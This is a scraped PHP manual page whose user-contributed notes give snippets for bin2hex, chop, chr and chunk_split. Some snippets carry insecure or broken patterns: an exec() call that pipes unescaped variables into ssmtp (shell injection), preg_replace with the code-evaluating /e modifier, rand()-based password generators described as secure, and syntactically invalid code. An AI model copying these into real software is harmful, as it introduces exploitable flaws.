Some gave a function to convert a hex code back into a simple text (human readable ASCII :P)

Some else gave a function that makes use of bin2hex to convert URLs into something like %12%34%56

Here is a function to go from the form %12%34%56 back into ASCII

Note that this function can easily be changed in order to transform any hex code into ASCII

<?
function _hex2text($str) {
    $str = explode('%', $str);
    array_shift($str);
    $nmlstr = '';
    foreach($str as $hexstr) {
      $nmlstr .= chr(base_convert($hexstr, 16, 10));
    }
    return $nmlstr;
}
?>

'hope this helps :)
Regards
-Tsuna
matthew dot eastman at hotpop dot com 09-Oct-2002 07:00
This function undoes it (converts back into ASCII).

<?php
function hex2asc($myin) {
for ($i=0; $i<strlen($myin)/2; $i++) {
$myout.=chr(base_convert(substr($myin,$i*2,2),16,10));
}
return $myout;
}
?>
matt at zevi dot net 21-Aug-2002 11:27
Hopefully this helps someone...

It just displays an html representation of hex data, much like a hex viewer would.

Matt

<?php
function hexview($data){
  $bytePosition = $columnCount = $lineCount = 0;
  $columns = 8;
  $dataLength = strlen($data);
  $return = array();
  $return[] = '<table border="1" cellspacing="0" cellpadding="2">';
  for($n = 0; $n < $dataLength; $n++){
    $lines[$lineCount][$columnCount++] = substr($data, $n, 1);
    if($columnCount == $columns){
      $lineCount++;
      $columnCount = 0;
    }
  }
  foreach($lines as $line){
    $return[] = '<tr><td align="right">'.$bytePosition.': </td>';
    for($n = 0; $n < $columns; $n++){
      $return[] = '<td>'.strtoupper(bin2hex($line[$n])).'</td>';
    }
    $return[] = '<td> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>';
    for($n = 0; $n < $columns; $n++){
      $return[] = '<td>'.(htmlentities($line[$n]) ? htmlentities($line[$n]) : '&nbsp;').'</td>';
    }
    $return[] = '</tr>';
    $bytePosition = $bytePosition + $columns;
  }
  $return[] = '</table>';
  return implode('', $return);
}
?>
tightcode at hotmail dot com 26-Aug-2001 05:05
I was just browsing the above and with a little modification,
came up with the following which I believe to be more flexible:

<?php
function bin2hex($data) {
    $corrected = ereg_replace("[^0-9a-fA-F]","",$data);
    return pack("H".strlen($corrected),$corrected);
}
?>

This will make sure that whatever you pass, even if it is padded
at the extremeties or between pairs, should return the desired data.
pedram at redhive dot com 01-Feb-2001 02:21
In an attempt to dodge spam bots I've seen people (including myself) hex encode their email addresses in "mailto" tags. This is the small chunk of code I wrote to automate the process:

<?php
function hex_encode ($email_address)    {
        $encoded = bin2hex("$email_address");
        $encoded = chunk_split($encoded, 2, '%');
        $encoded = '%' . substr($encoded, 0, strlen($encoded) - 1);
        return $encoded;
}
?>

so for example:
<a href="mailto:&lt;?=hex_encode("pedram@redhive.com")?>">email me</a>

would produce the following address:
%70%65%64%72%61%6d%40%72%65%64%68%69%76%65%2e%63%6f%6d

-pedram


Alias of rtrim

  • « bin2hex
  • chr »
  • PHP Manual
  • String Functions
  • Alias of rtrim

chop

(PHP 4, PHP 5)

chop — Alias of rtrim()

Description

This function is an alias of: rtrim().

Notes

Note:

chop() is different than the Perl chop() function, which removes the last character in the string.

User Contributed Notes

krkbpk at gmail dot com RamaKrishna Kothamasu 08-Feb-2013 10:20
//simple example function for chop()
<?php
echo "<pre>";//without <pre> you cann't see desired output in your browser
echo chop("   Ramki   ");//right spaces are eliminated
echo chop("Ramkrishna", "a..z");
echo "</pre>";
?>
/*output
  ------
  RamkiR*/
tomas at matfyz dot cz 24-May-2010 02:47
This function corresponds more or less to the PERL chomp() function.
rahuls8730 at gmail dot com 18-May-2009 08:03
Definition and Usage

The chop() function will remove a white space or other predefined character from the right end of a string.

This function is an alias of the rtrim() function.
Syntax
chop(string,charlist)

Parameter     Description
string     Required. Specifies the string to check
charlist     Optional. Specifies which characters to remove from the string.
The following characters are allowed and is set to be removed if the charlist parameter is empty:

    * "\0" - ASCII 0, NULL
    * "\t" - ASCII 9, a tab
    * "\n" - ASCII 10, a new line
    * "\x0B" - ASCII 11, a vertical tab.
    * "\r" - ASCII 13, a carriage return
    * " " - ASCII 32, an ordinary white space
anon at mailinator dot com 11-May-2007 10:06
Another possible one would be to use this:

<?php
function chup(){

$ar=Array();

foreach(func_get_args() as $b) {

push($ar,$b[strlen($b)-1]);

&$b[strlen($b)-1]='';

  }

return $ar;

 }
?>

If you wanted to perl-chop a va list of strings and return the removed chars. Obviously you can easily mod it for va list arrays of strings and the like.


Return a specific character

  • « chop
  • chunk_split »
  • PHP Manual
  • String Functions
  • Return a specific character

chr

(PHP 4, PHP 5)

chr — Return a specific character

Description

string chr ( int $ascii )

Returns a one-character string containing the character specified by ascii.

This function complements ord().

Parameters

ascii

The ascii code.

Return Values

Returns the specified character.

Examples

Example #1 chr() example

<?php
$str = "The string ends in escape: ";
$str .= chr(27); /* add an escape character at the end of $str */

/* Often this is more useful */

$str = sprintf("The string ends in escape: %c", 27);
?>

See Also

  • sprintf() - Return a formatted string with a format string of %c
  • ord()
  • An » ASCII-table

User Contributed Notes

Pascal 02-Sep-2014 08:01
function ascii2str($str) {
    $arr=array(
        "&#32;"=>' ', "&#33;"=>'!', "&#34;"=>'"', "&#35;"=>'#', "&#36;"=>'$',
        "&#37;"=>'%', "&#38;"=>'&', "&#39;"=>"'", "&#40;"=>'(', "&#41;"=>')',
        "&#42;"=>'*', "&#43;"=>'+', "&#44;"=>',', "&#45;"=>'-', "&#46;"=>'.',
        "&#47;"=>'/', "&#48;"=>'0', "&#49;"=>'1', "&#50;"=>'2', "&#51;"=>'3',
        "&#52;"=>'4', "&#53;"=>'5', "&#54;"=>'6', "&#55;"=>'7', "&#56;"=>'8',
        "&#57;"=>'9', "&#58;"=>':', "&#59;"=>';', "&#60;"=>'<', "&#61;"=>'=',
        "&#62;"=>'>', "&#63;"=>'?', "&#64;"=>'@', "&#65;"=>'A', "&#66;"=>'B',
        "&#67;"=>'C', "&#68;"=>'D', "&#69;"=>'E', "&#70;"=>'F', "&#71;"=>'G',
        "&#72;"=>'H', "&#73;"=>'I', "&#74;"=>'J', "&#75;"=>'K', "&#76;"=>'L',
        "&#77;"=>'M', "&#78;"=>'N', "&#79;"=>'O', "&#80;"=>'P', "&#81;"=>'Q',
        "&#82;"=>'R', "&#83;"=>'S', "&#84;"=>'T', "&#85;"=>'U', "&#86;"=>'V',
        "&#87;"=>'W', "&#88;"=>'X', "&#89;"=>'Y', "&#90;"=>'Z', "&#91;"=>'[',
        "&#92;"=>'\\', "&#93;"=>']', "&#94;"=>'^', "&#95;"=>'_', "&#96;"=>'`',
        "&#97;"=>'a', "&#98;"=>'b', "&#99;"=>'c', "&#100;"=>'d', "&#101;"=>'e',
        "&#102;"=>'f', "&#103;"=>'g', "&#104;"=>'h', "&#105;"=>'i', "&#106;"=>'j',
        "&#107;"=>'k', "&#108;"=>'l', "&#109;"=>'m', "&#110;"=>'n', "&#111;"=>'o',
        "&#112;"=>'p', "&#113;"=>'q', "&#114;"=>'r', "&#115;"=>'s', "&#116;"=>'t',
        "&#117;"=>'u', "&#118;"=>'v', "&#119;"=>'w', "&#120;"=>'x', "&#121;"=>'y',
        "&#122;"=>'z', "&#123;"=>'{', "&#124;"=>'|', "&#125;"=>'}', "&#126;"=>'~'
    );
    return strtr($str,$arr);
}
v14t at gmx dot com 01-Apr-2014 02:58
argument is automatically converted to integer, so chr('65') and chr(65) would both output the letter A
darek at module17 dot com 07-Mar-2013 04:45
Simple password generation function using sprintf and the %c type specifier; which is the same as chr().

function genPass($len = 8) {
    for ($i=0;$i<=$len;$i++) {
        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, rand(48, 122));
    }
    return $passwd;
}
krkbpk at gmail dot com RamaKrishna Kothamasu 08-Feb-2013 01:11
//simple example for chr() function
<?php
$i=0;
for($i;$i<=255;$i++)
{
    echo chr($i)."<br>";
}
?>
gjarrige at six-axe dot fr 01-Mar-2012 06:47
to remove the ASCII control characters (except "line feed" and "tab") :

$tab_chr = array() ;
for($control = 0; $control < 32; $control++) {
    if ($control != 9 && $control != 10) {
        $tab_chr[]= chr($control) ;
    }
}
$tab_chr[]= chr(127) ;
$string = str_replace($tab_chr, '', $string);
mailderemi at gmail dot com 04-Feb-2011 05:17
Here is a sample of encoding and decoding using "chr" and "ord".
<?php
    function Encode($txtData,$Level){
        for ($j = 0;$j<$Level;$j++){
            $tmpStr = '';
            for ($i = 0;$i<strlen($txtData);$i++)
                $tmpStr .= ord(substr(strtoupper($txtData), $i, 1));
            $txtData = $tmpStr;
        }
        return (strlen($Level)).$Level.$txtData;
    }

    function Decode($txtData){
        $intLevel = substr($txtData, 1, substr($txtData, 0, 1));
        $startStr = substr($txtData, substr($txtData, 0, 1)+1, strlen($txtData));
        for ($j = 0;$j<$intLevel;$j++){
            for ($i = 0;$i<strlen($startStr);$i+=2)
                $tmpStr .= chr(intval(substr($startStr, $i, 2)));
            $startStr = $tmpStr;

            $tmpStr = "";
        }
        return $startStr;
    }

echo Encode('123',4).'<br>';
echo Decode(Encode('123',5));
?>
Emprivo.com 01-Sep-2009 04:36
Replaces special characters with non-special equivalents

<?php
function normalize_special_characters( $str )
{
    # Quotes cleanup
    $str = ereg_replace( chr(ord("`")), "'", $str );        # `
    $str = ereg_replace( chr(ord("´")), "'", $str );        # ´
    $str = ereg_replace( chr(ord("„")), ",", $str );        # „
    $str = ereg_replace( chr(ord("`")), "'", $str );        # `
    $str = ereg_replace( chr(ord("´")), "'", $str );        # ´
    $str = ereg_replace( chr(ord("“")), "\"", $str );        # “
    $str = ereg_replace( chr(ord("”")), "\"", $str );        # ”
    $str = ereg_replace( chr(ord("´")), "'", $str );        # ´

    $unwanted_array = array(    'Š'=>'S', 'š'=>'s', 'Ž'=>'Z', 'ž'=>'z', 'À'=>'A', 'Á'=>'A', 'Â'=>'A', 'Ã'=>'A', 'Ä'=>'A', 'Å'=>'A', 'Æ'=>'A', 'Ç'=>'C', 'È'=>'E', 'É'=>'E',
                                'Ê'=>'E', 'Ë'=>'E', 'Ì'=>'I', 'Í'=>'I', 'Î'=>'I', 'Ï'=>'I', 'Ñ'=>'N', 'Ò'=>'O', 'Ó'=>'O', 'Ô'=>'O', 'Õ'=>'O', 'Ö'=>'O', 'Ø'=>'O', 'Ù'=>'U',
                                'Ú'=>'U', 'Û'=>'U', 'Ü'=>'U', 'Ý'=>'Y', 'Þ'=>'B', 'ß'=>'Ss', 'à'=>'a', 'á'=>'a', 'â'=>'a', 'ã'=>'a', 'ä'=>'a', 'å'=>'a', 'æ'=>'a', 'ç'=>'c',
                                'è'=>'e', 'é'=>'e', 'ê'=>'e', 'ë'=>'e', 'ì'=>'i', 'í'=>'i', 'î'=>'i', 'ï'=>'i', 'ð'=>'o', 'ñ'=>'n', 'ò'=>'o', 'ó'=>'o', 'ô'=>'o', 'õ'=>'o',
                                'ö'=>'o', 'ø'=>'o', 'ù'=>'u', 'ú'=>'u', 'û'=>'u', 'ý'=>'y', 'ý'=>'y', 'þ'=>'b', 'ÿ'=>'y' );
    $str = strtr( $str, $unwanted_array );

    # Bullets, dashes, and trademarks
    $str = ereg_replace( chr(149), "&#8226;", $str );    # bullet •
    $str = ereg_replace( chr(150), "&ndash;", $str );    # en dash
    $str = ereg_replace( chr(151), "&mdash;", $str );    # em dash
    $str = ereg_replace( chr(153), "&#8482;", $str );    # trademark
    $str = ereg_replace( chr(169), "&copy;", $str );    # copyright mark
    $str = ereg_replace( chr(174), "&reg;", $str );        # registration mark

    return $str;
}
?>
sinfocol at sinfocol dot org 30-Jun-2009 11:38
The function chr() also accepts negative numbers as an ascii code, so chr(-number) is equal to chr((number%256)+256).
And for ascii code higher than 255 is chr(number%256)

We can test with a little script
<?php
    for($i=-300; $i<300; $i++){
        echo "Ascii $i\t" . ord(chr($i)) . "\n";
    }
?>
voromax 31-Jan-2009 04:39
Another quick and short function to get unicode char by its code.

<?php
/**
 * Return unicode char by its code
 *
 * @param int $u
 * @return char
 */
function unichr($u) {
    return mb_convert_encoding('&#' . intval($u) . ';', 'UTF-8', 'HTML-ENTITIES');
}
?>
jacob at loggy punt nl 31-Dec-2008 02:46
This function creates a ascii table, and replaces all the ascii characters in the mail.
---
Deze functie maakt een ascii tabel, en zet alles juist om.

<?php
 function makeASCII($a){
  $find[] = "=\r\n";
  $replace[] = "";

  for($i=0; $i < 256; $i++){
    $find[] = "=".dechex($i)."";
    $replace[] = chr($i);
  }
  $a = str_replace($find,$replace,$a);
  return $a;
 }
?>
scott at quinlan dot co dot nz 21-Oct-2008 06:51
Secure password generator with a variable maximum amount of symbols.

<?php

function passwdGen($minLength = 8, $maxLength = 12, $maxSymbols = 2)
{
    $symbolCount = 0;

    srand((double)microtime() * 1000003);

    for ($i = 0; $i < rand($minLength, $maxLength); $i++)
    {
        do
        {
            $char = rand(33, 126);

            $symbolCount += $isSymbol = (!in_array($char, range(48, 57)) && !in_array($char, range(65, 90)) && !in_array($char, range(97, 122)));

            if ($symbolCount <= $maxSymbols || !$isSymbol)
            {
                break;
            }
        }
        while (true);

        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, $char);
    }

    return $passwd;
}

?>
Josh B. 12-Aug-2008 11:06
In addition to replacing Microsoft Windows smart quotes, as sgaston demonstrated on 2006-02-13, I replace all other Microsoft Windows characters using suggestions[1] published by character code specialist[2] Jukka Korpela.

<?php
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
$str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
$str = str_replace(chr(147), '"', $str);    // left double quote
$str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '-', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
$str = str_replace(chr(152), '~', $str);    // tilde accent
$str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
$str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
?>

[1] On the use of some MS Windows characters in HTML
http://www.cs.tut.fi/~jkorpela/www/windows-chars.html

[2] Unicode Explained by Jukka Korpela
http://www.amazon.com/dp/059610121X/
darkodemon at gmail dot com 27-Apr-2007 01:33
chr() with unicode support

<?php

function uchr ($codes) {
    if (is_scalar($codes)) $codes= func_get_args();
    $str= '';
    foreach ($codes as $code) $str.= html_entity_decode('&#'.$code.';',ENT_NOQUOTES,'UTF-8');
    return $str;
}

echo uchr(23383); echo '<br/>';
echo uchr(23383,215,23383); echo '<br/>';
echo uchr(array(23383,215,23383,215,23383)); echo '<br/>';

?>
mwgamera at gmail dot com 22-Aug-2006 05:20
Unicode version of chr() using mbstring
<?php
  function unichr($u) {
    return mb_convert_encoding(pack("N",$u), mb_internal_encoding(), 'UCS-4BE');
  }
?>
It returns a string in internal encoding (possibly more than one byte).
JasonLauDotBiz 17-Feb-2006 04:34
I didn't see it here, so here's simple random string generation using char.

<?php
for($i=0; $i<7; $i++){
    $random_string .= chr(rand(0,25)+65);
}
echo $random_string;
?>
grey - greywyvern - com 19-Aug-2005 04:55
I spent hours looking for a function which would take a numeric HTML entity value and output the appropriate UTF-8 bytes.  I found this at another site and only had to modify it slightly; so I don't take credit for this.

<?php function unichr($dec) {
  if ($dec < 128) {
    $utf = chr($dec);
  } else if ($dec < 2048) {
    $utf = chr(192 + (($dec - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  } else {
    $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
    $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  }
  return $utf;
} ?>

So for example:

<?php

  $str = "Chinese: &#20013;&#25991;";
  $str = preg_replace("/&#(\d{2,5});/e", "unichr($1);", $str);

?>
sarabas at itstudio dot pl 17-Feb-2005 01:26
The following function helped me to generate ascii-only usernames from firstname/lastname containing iso-8859-2 characters. The convertion array was based on contents of 'man iso-8859-2'.

Example: iso2ascii("b&#322;a&#380;ej.&#378;d&#378;b&#322;o") returns "blazej.zdzblo"

<?php
function iso2ascii($str) {
 $arr=array(
  chr(161)=>'A', chr(163)=>'L', chr(165)=>'L', chr(166)=>'S', chr(169)=>'S',
  chr(170)=>'S', chr(171)=>'T', chr(172)=>'Z', chr(174)=>'Z', chr(175)=>'Z',
  chr(177)=>'a', chr(179)=>'l', chr(181)=>'l', chr(182)=>'s', chr(185)=>'s',
  chr(186)=>'s', chr(187)=>'t', chr(188)=>'z', chr(190)=>'z', chr(191)=>'z',
  chr(192)=>'R', chr(193)=>'A', chr(194)=>'A', chr(195)=>'A', chr(196)=>'A',
  chr(197)=>'L', chr(198)=>'C', chr(199)=>'C', chr(200)=>'C', chr(201)=>'E',
  chr(202)=>'E', chr(203)=>'E', chr(204)=>'E', chr(205)=>'I', chr(206)=>'I',
  chr(207)=>'D', chr(208)=>'D', chr(209)=>'N', chr(210)=>'N', chr(211)=>'O',
  chr(212)=>'O', chr(213)=>'O', chr(214)=>'O', chr(216)=>'R', chr(217)=>'U',
  chr(218)=>'U', chr(219)=>'U', chr(220)=>'U', chr(221)=>'Y', chr(222)=>'T',
  chr(223)=>'s', chr(224)=>'r', chr(225)=>'a', chr(226)=>'a', chr(227)=>'a',
  chr(228)=>'a', chr(229)=>'l', chr(230)=>'c', chr(231)=>'c', chr(232)=>'c',
  chr(233)=>'e', chr(234)=>'e', chr(235)=>'e', chr(236)=>'e', chr(237)=>'i',
  chr(238)=>'i', chr(239)=>'d', chr(240)=>'d', chr(241)=>'n', chr(242)=>'n',
  chr(243)=>'o', chr(244)=>'o', chr(245)=>'o', chr(246)=>'o', chr(248)=>'r',
  chr(249)=>'u', chr(250)=>'u', chr(251)=>'u', chr(252)=>'u', chr(253)=>'y',
  chr(254)=>'t'
 );
 return strtr($str,$arr);
}
?>
tenyou at gmail dot com 15-Jul-2004 08:05
When having to deal with parsing an IIS4 or IIS5 metabase dump I wrote a simple function for converting those MS hexidecimal values into their ascii counter parts. Hopefully someone will find use for it.

<?php
function hex_decode($string)  {
        for ($i=0; $i < strlen($string); $i)  {
        $decoded .= chr(hexdec(substr($string,$i,2)));
        $i = (float)($i)+2;
        }
return $decoded;
}
?>
perrodin at laposte dot net 12-Apr-2004 01:20
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
jgray at triangle dash solutions dot com 25-Jul-2003 07:20
Lowercase alphabet:
<?php for($a=97;$a<(97+26);$a++){ echo chr($a); } ?>
infoserv at chollian dot net 25-Jun-2003 05:16
Cutting Korean(2Byte)-String

<?php
function cutStr($str,$len){
    if(strlen($str) > $len){
        $str = substr($str,0,$len - 2);
        if(strlen(substr(strrchr($str," "),1)) % 2)
            $str = substr($str,0,strlen($str) - 1);
        $str .= "..";
    }
    return $str;
}
?>
Kristin 07-Mar-2003 05:19
Note that chr(10) is a 'line feed' and chr(13) is a 'carriage return' and they are not the same thing! I found this out while attempting to parse text from forms and text files for inclusion as HTML by replacing all the carriage returns with <BR>'s only to find after many head-scratchings that I should have been looking for line feeds. If anyone can shed some light on what the difference is, please do.

If you're planning on saving text from a form into a database for later display, you'll need to apply the following function so that it gets saved with the proper HTML tags.

<?php
$text = str_replace ( chr(10), "<BR>", $text );
?>

When you want to plug it back into that form for editing you need to convert it back.

<?php
$text = str_replace ( "<BR>", chr(10), $text)
?>

Hope this saves somebody some trouble. :)
joeldegan AT yahoo.com 14-Dec-2002 11:53
Want terminal colors in command line php scripts?

This should take care of that.
<?

$_colors = array(
        'LIGHT_RED'      => "[1;31m",
        'LIGHT_GREEN'     => "[1;32m",
        'YELLOW'     => "[1;33m",
        'LIGHT_BLUE'     => "[1;34m",
        'MAGENTA'     => "[1;35m",
        'LIGHT_CYAN'     => "[1;36m",
        'WHITE'     => "[1;37m",
        'NORMAL'     => "[0m",
        'BLACK'     => "[0;30m",
        'RED'         => "[0;31m",
        'GREEN'     => "[0;32m",
        'BROWN'     => "[0;33m",
        'BLUE'         => "[0;34m",
        'CYAN'         => "[0;36m",
        'BOLD'         => "[1m",
        'UNDERSCORE'     => "[4m",
        'REVERSE'     => "[7m",

);

function termcolored($text, $color="NORMAL", $back=1){
    global $_colors;
    $out = $_colors["$color"];
    if($out == ""){ $out = "[0m"; }
    if($back){
        return chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }else{
        echo chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }//fi
}// end function

echo termcolored("test\n", "BLUE");
?>
webmaster at project-enigma dot net 13-Apr-2002 09:51
\n == &#13;
Usefull if u want to display multi-line-alt-strings
e.g. <img src="/gifs/php_logo.gif" alt="Here u can see the&#13;PHPLogo&#13;3rd line">
happyevil(at)1218.org 27-Mar-2001 04:31
Here is a function that's help me find what chr(number) outputs what character quicker than typing out 256 echo tags.

<?php
 function listChr(){
  for ($i = 0; $i < 256; ++$i) {
  static $genNum;
  $genNum++;
  echo "chr($genNum) will output '";
  echo (chr($genNum));
  echo "'< br>\n";
  }
}
listChr();
?>

Another helpful chr is #9, being a tab.  Quite using when making error logs.

 $tab = (chr(9));
 echo "<pre>error{$tab}date{$tab}time</pre>";

 -- HappyEvil
ddawsonNOSPAM at execpc dot com 10-May-2000 01:59
[Editor's note:

%c is defined as: "Print the character belonging to the ascii code given"

chr() just gives a string, so you need to use %s, even if the string consists of only one character. This is consistent with other languages.
--Jeroen@php.net]

Learn from my mistake:
Do not expect this to work!

<?php
$c_question = chr(63);
$v_out = sprintf("<%cphp\n", $c_question);
//... more stuff being sprintf'd into v_out here ...
$v_out = sprintf("%s%c>\n", $v_out, $c_question);
$v_fp = fopen("foofile", "w");
if ($v_fp)
{
     fwrite($v_fp, $v_out, strlen($v_out));
     fclose($v_fp);
}
?>

When I did this, foofile contained <NUL NUL NUL NUL NUL>.
I spun my wheels quite awhile looking at fputs, fwrite to verify I was calling those functions correctly.
My mistake was using $c_question = chr(63) instead of
$c_question = 63 (correct).  Then everything worked fine.


Split a string into smaller chunks

  • « chr
  • convert_cyr_string »
  • PHP Manual
  • String Functions
  • Split a string into smaller chunks

chunk_split

(PHP 4, PHP 5)

chunk_split — Split a string into smaller chunks

Description

string chunk_split ( string $body [, int $chunklen = 76 [, string $end = "\r\n" ]] )

Can be used to split a string into smaller chunks which is useful for e.g. converting base64_encode() output to match RFC 2045 semantics. It inserts end every chunklen characters.

Parameters

body

The string to be chunked.

chunklen

The chunk length.

end

The line ending sequence.

Return Values

Returns the chunked string.

Examples

Example #1 chunk_split() example

<?php
// format $data using RFC 2045 semantics
$new_string = chunk_split(base64_encode($data));
?>

See Also

  • str_split() - Convert a string to an array
  • explode() - Split a string by string
  • split() - Split string into array by regular expression
  • wordwrap() - Wraps a string to a given number of characters
  • » RFC 2045

User Contributed Notes

Anonymous 19-Feb-2014 10:57
Important note is the maximum line length and the recommended one. The standard says:
"Lines in a message MUST be a maximum of 998 characters excluding the CRLF, but it is RECOMMENDED that lines be limited to 78 characters excluding the CRLF. "

See PHP manual for chunk_split() Which is set to 76 characters long chunk and "\r\n" at the end of line by default.
qeremy [atta] gmail [dotta] com 29-Feb-2012 12:35
An alternative for unicode strings;

<?php
function chunk_split_unicode($str, $l = 76, $e = "\r\n") {
    $tmp = array_chunk(
        preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY), $l);
    $str = "";
    foreach ($tmp as $t) {
        $str .= join("", $t) . $e;
    }
    return $str;
}

$str = "Yarım kilo çay, yarım kilo şeker";
echo chunk_split($str, 4) ."\n";
echo chunk_split_unicode($str, 4);
?>

Yar�
�m k
ilo
çay
, ya
rım
 kil
o ş
eker

Yarı
m ki
lo ç
ay,
yarı
m ki
lo ş
eker
belal dot nabeh at gmail dot com 10-Aug-2010 05:02
If you are using UTF-8 charset you will face a problem with Arabic language
to solve this problem i used this function

<?php
function chunk_split_($text,$length,$string_end)
{
    $text = iconv("UTF-8","windows-1256",$text);
    $text = str_split($text);
    foreach($text as $val)
    {
        if($a !== $val)
        {
            $a = $val;
            $x = 0;
        }else{
            $a = $val;
            $x++;
        }
        if($x > $length)
        {
            $new_text .= $val.$string_end;
            $x = 0;
        }else
        {
             $new_text .= $val;
        }

    }
    $new_text = iconv("windows-1256","UTF-8",$new_text);
    return $new_text;
}
?>
Peter from dezzignz.com 05-Apr-2010 01:30
chunk_split() is not multibyte safe. If you ever run into needing the function that is multibyte safe, here you go:

<?php

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
    }
    return $array;
}

function mb_chunk_split($str, $len, $glue) {
    if (empty($str)) return false;
    $array = mbStringToArray ($str);
    $n = 0;
    $new = '';
    foreach ($array as $char) {
        if ($n < $len) $new .= $char;
        elseif ($n == $len) {
            $new .= $glue . $char;
            $n = 0;
        }
        $n++;
    }
    return $new;
}

?>
dampee at earthlink dot net 20-Nov-2009 06:10
I've found this quite useful for simulating various kinds of shuffles with cards.  It is humorous but can imitate multiple deck cuts and other (imperfectly) random events.

<?php
function truffle_shuffle($body, $chunklen = 76, $end = "\r\n")
{
     $chunk = chunk_split($body, $chunklen, "-=blender=-");
     $truffle = explode("-=blender=-",$chunk);
     $shuffle = shuffle($truffle);
     $huknc = implode($end,$shuffle);
     return $huknc;
}
?>
tim at weird spots in my crotch dot com 08-May-2008 11:29
@Royce

I think this is better, since you can still use the ampersand in your text:

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    elseif($c == " ")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
neos at blizzz dot ru 03-May-2008 08:38
"version" of chunk_split for cyrillic characters in UTF-8

public function UTFChunk($Text,$Len = 10,$End = "\r\n")
{
    if(mb_detect_encoding($Text) == "UTF-8")
    {
        return mb_convert_encoding(
                chunk_split(
                    mb_convert_encoding($Text, "KOI8-R","UTF-8"), $Len,$End
                ),
                "UTF-8", "KOI8-R"
            );
    } else
    {
        return chunk_split($Text,$Len,$End);
    }
}

this is example for russian language
Royce 16-Apr-2008 09:31
Here's a version of Chunk Split I wrote that will not split html entities. Useful if you need to inject something in html (in my case, <wbr/> tags to allow for long text wrapping).

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
mark [at] d0gz [dot] net 11-Apr-2007 07:12
When using ssmtp for simple command line mailing:

$mail_to = "destination@emailbox.com";
$msg = "this would be an actual base64_encoded gzip msg";
$date = date(r);
$mail  = "X-FROM: root@sender.org \n";
$mail .= "X-TO: ".$mail_to. " \n";
$mail .= "To: ".$mail_to. " \n";
$mail .= "Date: $date \n";
$mail .= "From: root@sender.org \n";
$mail .= "Subject: lifecheck \n";
$mail .= $msg." \n";
exec("echo '$mail' | /usr/sbin/ssmtp ".$mail_to);

be sure to invoke chunk_split() on your message body - ssmtp becomes unhappy with long lines and will subsequently trash  your message.
hansvane at yahoo dot com dot ar 22-Jan-2007 07:06
This function is very simple and many other functions make this on PHP 5 and even some ones in 4 the good think about this one is that work on php 3.0.6 and 4

function split_hjms_chars($xstr, $xlenint, $xlaststr)
{
    $texttoshow = chunk_split($xstr,$xlenint,"\r\n");
    $texttoshow  = split("\r\n",$texttoshow);
    $texttoshow = $texttoshow[0].$xlaststr;
    return $texttoshow;
}

// For use

echo split_hjms_chars("This is your text",6,"...");

// Will return

This i...

It is useful to cut long text on preview lists and if the server it's old.

Hope it helps some one. Hans Svane
chris AT w3style.co DOT uk 14-Aug-2006 09:32
I'm not sure what versions this also occurs in but the output of chunk_split() in PHP 5.0.4 does not match the output in other versions of PHP.

In all versions of PHP I have used, apart from 5.0.4 chunk_split() adds the separator (\r\n) to the end of the string.  But in PHP 5.0.4 this does not happen.  This had a fairly serious impact on a library I maintain so it may also affect others who are not aware of this.
xamine at gmail dot com 04-Jun-2006 08:06
In reply to "adrian at zhp dot inet dot pl" digit grouping function:
<?php
    $number = strrev(chunk_split (strrev($number), 3,' '));
    //If $number is '1234567', result is '1 234 567'.
?>

There is a much more simple way of doing this, by using the built-in number_format() function.

<?php
   $number = number_format($number,2,"."," ");

   //This will round $number to 2 decimals, use the dot (".")
   //as decimal point, and the space (" ") as thousand sepparator.

?>
kevin @t hyguard,com 04-Oct-2005 04:08
Not quite completely obvious, but...

you can un_chunk_split() by:

$long_str = str_replace( "\r\n", "", $chunked_str );
harish at thespitbox dot net 30-Jul-2005 02:45
another way to group thousands in a number, which is much simpler, is built into PHP :)

www.php.net/number_format
Kevin 26-Jun-2005 01:10
To phpkid:

